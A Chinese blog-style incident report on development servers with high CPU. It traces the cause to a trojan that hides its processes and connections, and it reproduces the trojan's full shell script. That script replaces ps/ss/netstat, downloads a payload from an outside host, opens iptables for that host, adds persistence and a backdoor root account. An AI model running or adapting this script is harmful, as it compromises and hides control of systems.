CPU异常

提示：文章写完后，目录可以自动生成，如何生成可参考右边的帮助文档

---

前言

研发环境一批机器CPU异常，进程查看无异常

---

一、什么引起的CPU异常？

在控制端输入top命令，结果如下

负载指标较高，用户态CPU使用是CPU使用率过高的主要原因

pidstat -u 也没有发现异常进程（%user）

ps -ef 也没有看异常(内核进程及一些docker进程)

貌似没有发现问题，事情变得有点诡异了？ 没发现异常原因？

二、尝试

因为这是研发机器

1.停服务

1 . 关停docker相关的服务
[root@yunwei-test52 ~]# systemctl stop docker
[root@yunwei-test52 ~]#
[root@yunwei-test52 ~]#
[root@yunwei-test52 ~]# docker ps
Cannot connect to the Docker daemon at unix:///var/run/docker.sock. Is the docker daemon running?

2 再次ps -ef ,这次发现二个异常服务

bsd-port不是研发机正常工作目录，supvervisord研发没有在使用

去这二个目录查看
[root@yunwei-test52 ~]# cd /usr/bin/bsd-port/
[root@yunwei-test52 bsd-port]# ls
getty getty.lock
[root@yunwei-test52 bsd-port]#
[root@yunwei-test52 bsd-port]# file getty
getty: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped
不是普通文件，暂时看不出什么问题
接着去看supvervisord,明显发现异常了（第一反应中木马了？）

这二个进程一删（没了，不对啊，这木马这么lower?）

再次top 查看，CPU还是异常 , ps -ef 查看，这些干净了好多，没什么异常显示了

CPU没降下来，进程该关的都关了 ，这该杂办？

2.木马

回过头一想，木马(病毒)他要干啥，不停的执行，及复制 ，CPU没降下来，那肯定还在执行，为什么PS查不到？？？

啥？？？变成文本文件了。。

里面使用的ips命令（木马隐藏的ps）

发现异常进程 -c ? 带参数 ？

完整参数

#!/bin/sh path=`pwd` exit0="exit 0" ips="/usr/bin/ips" iss="/usr/bin/iss" Net="/usr/bin/nets" Get="/usr/bin/dget" Lok="/usr/bin/lockr" deny="/etc/deny.bak" allow="/etc/allow.bak" Config="/etc/long.conf" filebak="/usr/bin/longbak" issbak="usr/bin/dpkgd/ss" ipsbak="/usr/bin/dpkgd/ps" Netbak="/usr/bin/dpkgd/netstat"  Runkillallconnect() { ?killpid=`nets -anept 2>/dev/null|grep "$Address:19880"|cut -d / -f 1|awk '{print $9}'` ?kill $killpid 2>/dev/null;kill -3 $killpid 2>/dev/null;kill -9 $killpid 2>/dev/null ?killall $tempfile;pkill $tempfile;lockr -i /usr/bin/;lockr -i $filetemp;rm -f $filetemp ?if [ -z "`cat $Config|grep $tempfile`" ]; then ??lockr -i /etc/init.d/;lockr -i $Config ??echo $filename $tempbash $Address > $Config;lockr +i $Config >/dev/null 2>&1 ?else ??lockr -i $Config;sed -i "s|$tempfile|$filename|" $Config;lockr +i $Config >/dev/null 2>&1 ?fi ?if [ -z "`cat /bin/ps|grep $tempfile`" ]; then ??lockr -i /bin/;lockr -i /bin/ps;echo '#!/bin/sh' > /bin/ps;echo 'for arg in "$*";do' >> /bin/ps ??echo 'ips $arg|grep -v "'$tempbash'"|grep -v "'$filename'"|grep -v "ips"|grep -v "grep"' >> /bin/ps ??echo 'done;exit' >> /bin/ps;chmod 777 /bin/ps;lockr +i /bin/ps >/dev/null 2>&1 ?else ??lockr -i /bin/ps;sed -i "s|$tempfile|$filename|" /bin/ps;lockr +i /bin/ps >/dev/null 2>&1 ?fi } # ------------------------------------------------------------- if [ ! -f "$Lok" ];then ?lockr -i /usr/bin/ ?if [ ! -f /usr/bin/wget ];then ??if [ -f /usr/bin/yum ];then yum -y install e2fsprogs;fi ??if [ -f /usr/bin/apt-get ];then apt-get -y install e2fsprogs;fi ?fi ?cp -f /usr/bin/chattr /usr/bin/lockr ?cp -f /usr/bin/chattr /usr/bin/.locks ?cp -f /usr/bin/.locks /usr/bin/lockr ?chmod 777 /usr/bin/lockr ?chmod 777 /usr/bin/.locks ?lockr +i /usr/bin/lockr >/dev/null 2>&1 ?lockr +i /usr/bin/.locks >/dev/null 2>&1 ?else ?.locks -i /usr/bin/lockr;chmod 777 /usr/bin/lockr ?lockr +i /usr/bin/lockr >/dev/null 2>&1 fi if [ ! -f "$Get" ];then ?lockr -i /usr/bin/ ?if [ ! -f /usr/bin/wget ];then ??if [ -f /usr/bin/yum ];then yum -y install wget;fi ??if [ -f /usr/bin/apt-get ];then apt-get -y install wget;fi ?fi ?cp -f /us/bin/wget /usr/bin/dget ?cp -f /usr/bin/wget /usr/bin/.bget ?cp -f /usr/bin/.bget /usr/bin/dget ?chmod 777 /usr/bin/dget ?lockr +i /usr/bin/dget >/dev/null 2>&1 ?lockr +i /usr/bin/.bget >/dev/null 2>&1 ?else ?lockr -i /usr/bin/dget;chmod 777 /usr/bin/dget ?lockr +i /usr/bin/dget >/dev/null 2>&1? fi if [ -f /usr/bin/pkill ];then ?lockr -i /usr/bin/pkill;chmod 777 /usr/bin/pkill ?lockr +i /usr/bin/pkill >/dev/null 2>&1 fi if [ -f /usr/bin/nohup ];then ?lockr -i /usr/bin/nohup;chmod 777 /usr/bin/nohup ?lockr +i /usr/bin/nohup >/dev/null 2>&1 fi if [ -f /usr/bin/killall ];then ?lockr -i /usr/bin/killall;chmod 777 /usr/bin/killall ?lockr +i /usr/bin/killall >/dev/null 2>&1 fi if [ -f /usr/bin/nslookup ];then ?lockr -i /usr/bin/nslookup;chmod 777 /usr/bin/nslookup ?lockr +i /usr/bin/nslookup >/dev/null 2>&1 fi if [ -f /etc/init.d/Me8ing.conf ];then ?Runkillallconnect ?rm -f $0;exit fi # ------------------------------------------------------------- if [ ! -f "$Config" ];then ?intranet=`ifconfig|grep 'inet '|grep -v '127.0'|xargs|awk -F '[ :]' '{print $3}'|grep '192.168'` ?if [ $intranet ];then exit;fi ?lockr -i /usr/bin/;lockr -i /etc/init.d/ ?echo "Life is not easy." > $Config ?tempfile=`cat $Config | awk '{print $1}'` ?filetemp="/usr/bin/$tempfile" #????????? ?filename=`date +%s%N | md5sum | head -c 10` ?filepath="/usr/bin/$filename" #????????? ?tempbash=`cat $Config | awk '{print $2}'` ?bashtemp="/usr/bin/$tempbash" #??????? ?bashname=`date +%s%N | md5sum | head -c 10` ?bashpath="/usr/bin/$bashname" #??????? else ?tempfile=`cat $Config | awk '{print $1}'` ?filetemp="/usr/bin/$tempfile" #????????? ?filename=`date +%s%N | md5sum | head -c 10` ?filepath="/usr/bin/$filename" #????????? ?tempbash=`cat $Config | awk '{print $2}'` ?bashtemp="/usr/bin/$tempbash" #??????? ?bashname=`date +%s%N | md5sum | head -c 10` ?bashpath="/usr/bin/$bashname" #??????? ?if [ $0 != "$bashtemp" ];then ??lockr -i /usr/bin/;lockr -i /bin/ ??KA=`cat $Config | awk '{print $1}'` ??KPidA=`ips -ef|grep $KA|awk '{print $2}'` ??lockr -i /usr/bin/$KA;rm -f /usr/bin/$KA ??kill $KPidA 2>/dev/null;kill -9 $KPidA 2>/dev/null ??lockr -i $filetemp;rm -f $filetemp;lockr -i $filebak;rm -f $filebak ??killall .sshd;pkill .sshd;lockr -i /usr/bin/.sshd;rm -f /usr/bin/.sshd ??killall $KA;pkill $KA;killall $KA;pkill $KA;sleep 0.1 ??K1=`cat $Config | awk '{print $2}'` ??KPid1=`ips -ef|grep $K1|awk '{print $2}'` ??kill $KPid1 2>/dev/null;kill -9 $KPid1 2>/dev/null ??lockr -i /usr/bin/$K1;rm -f /usr/bin/$K1 ??killall $K1;pkill $K1;killall $K1;pkill $K1;sleep 0.4 ??K2=`cat $Config | awk '{print $2}'` ??KPid2=`ips -ef|grep $K2|awk '{print $2}'` ??kill $KPid2 2>/dev/null;kill -9 $KPid2 2>/dev/null ??lockr -i /usr/bin/$K2;rm -f /usr/bin/$K2 ??killall $K2;pkill $K2;killall $K2;pkill $K2;sleep 1.2 ??K3=`cat $Config | awk '{print $2}'` ??KPid3=`ips -ef|grep $K3|awk '{print $2}'` ??kill $KPid3 2>/dev/null;kill -9 $KPid3 2>/dev/null ??lockr -i /usr/bin/$K3;rm -f /usr/bin/$K3 ??killall $K3;pkill $K3;killall $K3;pkill $K3;sleep 0.5 ??K4=`cat $Config | awk '{print $2}'` ??KPid4=`ips -ef|grep $K4|awk '{print $2}'` ??kill $KPid4 2>/dev/null;kill -9 $KPid4 2>/dev/null ??lockr -i /usr/bin/$K4;rm -f /usr/bin/$K4 ??killall $K4;pkill $K4;killall $K4;pkill $K4;sleep 1.3 ??K5=`cat $Config | awk '{print $2}'` ??KPid5=`ips -ef|grep $K5|awk '{print $2}'` ??kill $KPid5 2>/dev/null;kill -9 $KPid5 2>/dev/null ??lockr -i /usr/bin/$K5;rm -f /usr/bin/$K5 ??killall $K5;pkill $K5;killall $K5;pkill $K5;sleep 0.6 ??K6=`cat $Config | awk '{print $2}'` ??KPid6=`ips -ef|grep $K6|awk '{print $2}'` ??kill $KPid6 2>/dev/null;kill -9 $KPid6 2>/dev/null ??lockr -i /usr/bin/$K6;rm -f /usr/bin/$K6 ??killall $K6;pkill $K6;killall $K6;pkill $K6;sleep 1.4 ??K7=`cat $Config | awk '{print $2}'` ??KPid7=`ips -ef|grep $K7|awk '{print $2}'` ??kill $KPid7 2>/dev/null;kill -9 $KPid7 2>/dev/null ??lockr -i /usr/bin/$K7;rm -f /usr/bin/$K7 ??killall $K7;pkill $K7;killall $K7;pkill $K7;sleep 0.1 ??lockr -i $Config;sed -i "s|$tempbash|$bashname|" $Config ??lockr -i /bin/ps;sed -i "s|$tempbash|$bashname|" /bin/ps ?fi fi # by Life is not easy.------------------------------------------------------- if [ ! -f /usr/bin/nslookup ];then ?if [ -f /usr/bin/apt-get ];then apt-get -y install dnsutils;fi ?if [ -f /usr/bin/yum ];then yum -y install bind-utils;fi fi ResolveIP=`nslookup laji.dnsm.xyz|grep "Address: "|awk '{print $2}'` if [ -z "$ResolveIP" ];then ?lockr -i /etc/;lockr -i /etc/resolv.conf ?echo 'nameserver 114.114.114.114' > /etc/resolv.conf ?echo 'nameserver 8.8.8.8' >> /etc/resolv.conf ?echo 'nameserver 8.8.4.4' >> /etc/resolv.conf ?lockr +i /etc/resolv.conf >/dev/null 2>&1 ?service network restart;sleep 1 ?Address=`nslookup laji.dnsm.xyz|grep "Address: "|awk '{print $2}'` else ?Address="$ResolveIP" fi # by Life is not easy.------------------------------------------------------- if [ -f /bin/ss ];then ?if [ ! -f "$iss" ];then ??if [ ! -f "$issbak" ];then ???lockr -i /usr/bin/;mkdir /usr/bin/dpkgd/ ???cp -f /bin/ss $issbak ???cp -f /bin/ss $iss ??else ???cp -f $issbak $iss ??fi ??chmod 777 $iss;chmod 777 $issbak ??lockr +i $issbak >/dev/null 2>&1 ??lockr +i $iss >/dev/null 2>&1 ?else ??if [ ! -f "$issbak" ];then ???lockr -i /usr/bin/;cp -f $iss $issbak ???lockr +i $issbak >/dev/null 2>&1 ??fi? ??if [ -z "`cat /bin/ss | grep $Address`" ]; then ???lockr -i /bin/;lockr -i /bin/ss ???echo '#!/bin/sh' > /bin/ss ???echo 'iss|grep -v "'$Address'"' >> /bin/ss ???echo 'exit' >> /bin/ss ???chmod 777 /bin/ss;lockr +i /bin/ss >/dev/null 2>&1 ??fi ?fi fi if [ -f /usr/sbin/ss ];then ?if [ ! -f "$iss" ];then ??if [ ! -f "$issbak" ];then ???lockr -i /usr/bin/;mkdir /usr/bin/dpkgd/ ???cp -f /usr/sbin/ss $issbak ???cp -f /usr/sbin/ss $iss ??else ???cp -f $issbak $iss ??fi ??chmod 777 $iss;chmod 777 $issbak ??lockr +i $issbak >/dev/null 2>&1 ??lockr +i $iss >/dev/null 2>&1?? ?else ??if [ ! -f "$issbak" ];then ???lockr -i /usr/bin/;cp -f $iss $issbak ???lockr +i $issbak >/dev/null 2>&1 ??fi ??if [ -z "`cat /usr/sbin/ss | grep $Address`" ]; then ???lockr -i /usr/sbin/;lockr -i /usr/sbin/ss ???echo '#!/bin/sh' > /usr/sbin/ss ???echo 'iss|grep -v "'$Address'"' >> /usr/sbin/ss ???echo 'exit' >> /usr/sbin/ss ???chmod 777 /usr/sbin/ss;lockr +i /usr/sbin/ss >/dev/null 2>&1 ??fi ?fi fi if [ -f /bin/netstat ];then ?if [ ! -f "$Net" ];then ??if [ ! -f "$Netbak" ];then ???lockr -i /usr/bin/;mkdir /usr/bin/dpkgd/ ???cp -f /bin/netstat $Netbak ???cp -f /bin/netstat $Net ??else ???cp -f $Netbak $Net ??fi ??chmod 777 $Net;chmod 777 $Netbak ??lockr +i $Netbak >/dev/null 2>&1 ??lockr +i $Net >/dev/null 2>&1 ?else ??if [ ! -f "$Netbak" ];then ???lockr -i /usr/bin/;cp -f $Net $Netbak ???lockr +i $Netbak >/dev/null 2>&1 ??fi ??if [ -z "`cat /bin/netstat | grep $Address`" ]; then ???lockr -i /bin/;lockr -i /bin/netstat ???echo '#!/bin/sh' > /bin/netstat ???echo 'for arg in "$*";do' >> /bin/netstat ???echo 'nets $arg | grep -v "'$Address'"' >> /bin/netstat ???echo 'done;exit' >> /bin/netstat ???chmod 777 /bin/netstat;lockr +i /bin/netstat >/dev/null 2>&1 ??fi ?fi fi if [ -f /bin/ps ];then ?if [ ! -f "$ips" ];then ??if [ ! -f "$ipsbak" ];then ???lockr -i /usr/bin/;mkdir /usr/bin/dpkgd/ ???cp -f /bin/ps $ipsbak ???cp -f /bin/ps $ips ??else ???cp -f $ipsbak $ips ??fi ??chmod 777 $ips;chmod 777 $ipsbak ??lockr +i $ipsbak >/dev/null 2>&1 ??lockr +i $ips >/dev/null 2>&1 ?else ??if [ ! -f "$ipsbak" ];then ???lockr -i /usr/bin/;cp -f $ips $ipsbak ???lockr +i $ipsbak >/dev/null 2>&1 ??fi ??if [ -z "`cat /bin/ps | grep '#!/bin/sh'`" ]; then ???lockr -i /bin/;lockr -i /bin/ps ???echo '#!/bin/sh' > /bin/ps;echo 'for arg in "$*";do' >> /bin/ps ???echo 'ips $arg | grep -v "'$tempbash'" | grep -v "'$tempfile'" | grep -v "ips" | grep -v "grep"' >> /bin/ps ???echo 'done;exit' >> /bin/ps;chmod 777 /bin/ps;lockr +i /bin/ps >/dev/null 2>&1 ??fi?? ?fi fi if [ ! -f "$deny" ];then ?lockr -i /etc/;cp -f /etc/hosts.deny $deny ?lockr +i $deny >/dev/null 2>&1 fi if [ ! -f "$allow" ];then ?lockr -i /etc/;cp -f /etc/hosts.allow $allow ?lockr +i $allow >/dev/null 2>&1 fi # by Life is not easy.---------------------------------------------- iptable=`iptables -L INPUT | grep "$Address" | grep 'ACCEPT'` if [ -z "$iptable" ];then ?iptables -I INPUT -s $Address -j ACCEPT else ?iptables -D INPUT -s $Address -j DROP fi process=`ips -ef | grep "$tempfile" | grep -v "grep" | wc -l` if [ $process != 1 ];then ?if [ ! -f "$filebak" ];then ??lockr -i /usr/bin/;lockr -i /usr/bin/linux_x86_32.tar.gz;rm -f /usr/bin/linux_x86_32.tar.gz ??cd /usr/bin/;dget http://https.dnsm.xyz:50000/linux_x86_32.tar.gz||cd /usr/bin/;curl -O  http://https.dnsm.xyz:50000/linux_x86_32.tar.gz;rm -rf linux_x86_32.tar.gz.1 ??cd $path;mv -f /usr/bin/linux_x86_32.tar.gz $filepath ?else ??cp -f $filebak $filepath ?fi ?Runkillallconnect ?chmod 777 $filepath ?nohup $filepath >/dev/null 2>&1 & fi if [ ! -f "$filebak" ];then ?cp -f $filepath $filebak;chmod 777 $filebak ?lockr +i $filebak >/dev/null 2>&1 fi # by Life is not easy.---------------------------------------------- Repeatstart=`cat /etc/rc.local | grep 'start'| wc -l` if [ $Repeatstart != 1 ];then ?lockr -i /etc/rc.local;sed -i '/start/d' /etc/rc.local fi if [ -z "`cat /etc/rc.local | grep "$bashtemp"`" ]; then ?if [ -z "`cat /etc/rc.local | grep "$exit0"`" ]; then ??lockr -i /etc/;lockr -i /etc/rc.local ??echo "$bashpath start" >> /etc/rc.local ?else ??lockr -i /etc/;lockr -i /etc/rc.local ??sed -i "s|exit 0|$bashpath start|" /etc/rc.local ??echo "exit 0">>/etc/rc.local ?fi fi # by Life is not easy.---------------------------------------------- if [ -z "`cat /etc/passwd|grep "init"`" ]; then ?lockr -i /etc/;lockr -i /etc/passwd # ?echo 'init:x:0:0::/usr/bin/init:/bin/bash' >> /etc/passwd ?lockr -i /etc/;lockr -i /etc/passwd >/dev/null 2>&1 fi if [ -z "`cat /etc/shadow|grep "init"`" ]; then ?lockr -i /etc/;lockr -i /etc/shadow # ?echo 'init:$1$init$iEjAU9GJhdr/V3KpNNp0v.:18361:0:99999:7:::' >> /etc/shadow ?lockr -i /etc/;lockr -i /etc/shadow >/dev/null 2>&1 fi # by Life is not easy.---------------------------------------------- killall .sshd;pkill .sshd;lockr -i /usr/bin/.sshd;rm -f /usr/bin/.sshd lockr -i /usr/bin/;lockr -i /usr/bin/wget;rm -f /usr/bin/wget;lockr -i /usr/bin/chattr;rm -f /usr/bin/chattr lockr -i /etc/;lockr -i /etc/hosts.deny;cp -f $deny /etc/hosts.deny;lockr +i /etc/hosts.deny >/dev/null 2>&1 lockr -i /etc/;lockr -i /etc/hosts.allow;cp -f $allow /etc/hosts.allow;lockr +i /etc/hosts.allow >/dev/null 2>&1  lockr -i /etc/init.d/;lockr -i $Config;sed -i "s|$tempbash|$bashname|" $Config;lockr +i $Config >/dev/null 2>&1 sleep 1;lockr -i /usr/bin/;cp -f $0 $bashpath;chmod 777 $bashpath;nohup $bashpath >/dev/null 2>&1 & lockr -i /bin/;lockr -i /bin/ps;sed -i "s|$tempbash|$bashname|" /bin/ps;lockr +i /bin/ps >/dev/null 2>&1 lockr -i /etc/;lockr -i /etc/rc.local;sed -i "s|$bashtemp start|$bashpath start|" /etc/rc.local  # by Life is not easy.---------------------------------------------- lockr -i $0 rm -f $0 exit /usr/bin/1a3404d12b

可以发现受感染的命令及病毒包

3.木马显形

[root@docker-node1 ~]# crontab -l
*/1 * * * * /usr/lib/mysql/mysql
[root@docker-node1 ~]#
[root@docker-node1 ~]#
[root@docker-node1 ~]# cat /etc/rc.
rc.d/ rc.local
[root@docker-node1 ~]# cat /etc/rc.
rc.d/ rc.local
[root@docker-node1 ~]# cat /etc/rc.d/
init.d/ rc0.d/ rc1.d/ rc2.d/ rc3.d/ rc4.d/ rc5.d/ rc6.d/ rc.local
[root@docker-node1 ~]# cat /etc/rc.d/init.d/
DbSecuritySpt functions keepalived netconsole network README selinux
[root@docker-node1 ~]# file /etc/rc.d/init.d/DbSecuritySpt
/etc/rc.d/init.d/DbSecuritySpt: Bourne-Again shell script, ASCII text executable
[root@docker-node1 ~]# file /etc/rc.d/init.d/selinux
/etc/rc.d/init.d/selinux: Bourne-Again shell script, ASCII text executable
[root@docker-node1 ~]# cat /etc/rc.d/init.d/DbSecuritySpt
#!/bin/bash
/usr/bin/5367e3cccc
[root@docker-node1 ~]# cat /etc/rc.d/init.d/selinux
#!/bin/bash
/usr/bin/bsd-port/getty
[root@docker-node1 ~]# cat /etc/rc.local
#!/bin/bash

touch /var/lock/subsys/local
ulimit -SHn 65536
/usr/bin/14df9e73b9 start
[root@docker-node1 ~]# cat /var/spool/cron/root
*/1 * * * * /usr/lib/mysql/mysql
[root@docker-node1 ~]# cat /etc/cron
cron.d/ cron.daily/ cron.deny cron.hourly/ cron.monthly/ crontab cron.weekly/
[root@docker-node1 ~]# cat /etc/cron.d
cron.d/ cron.daily/ cron.deny
[root@docker-node1 ~]# cat /etc/crontab
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root

将以上路径木马处理掉

CPU恢复正常

总结

木马是临时被抑制了，感染的系统命令也恢复了，但是源码是二进制的，解压不开，可能还是有未知的感染，但是重做系统工作量还是蛮大的，先这样吧

不知道是那位离职或者将离职的同事，在内网研发环境搞的把戏，虽然是研发环境但还是给在职的同事造成了诸多不便，在工作中还是要有点职业操守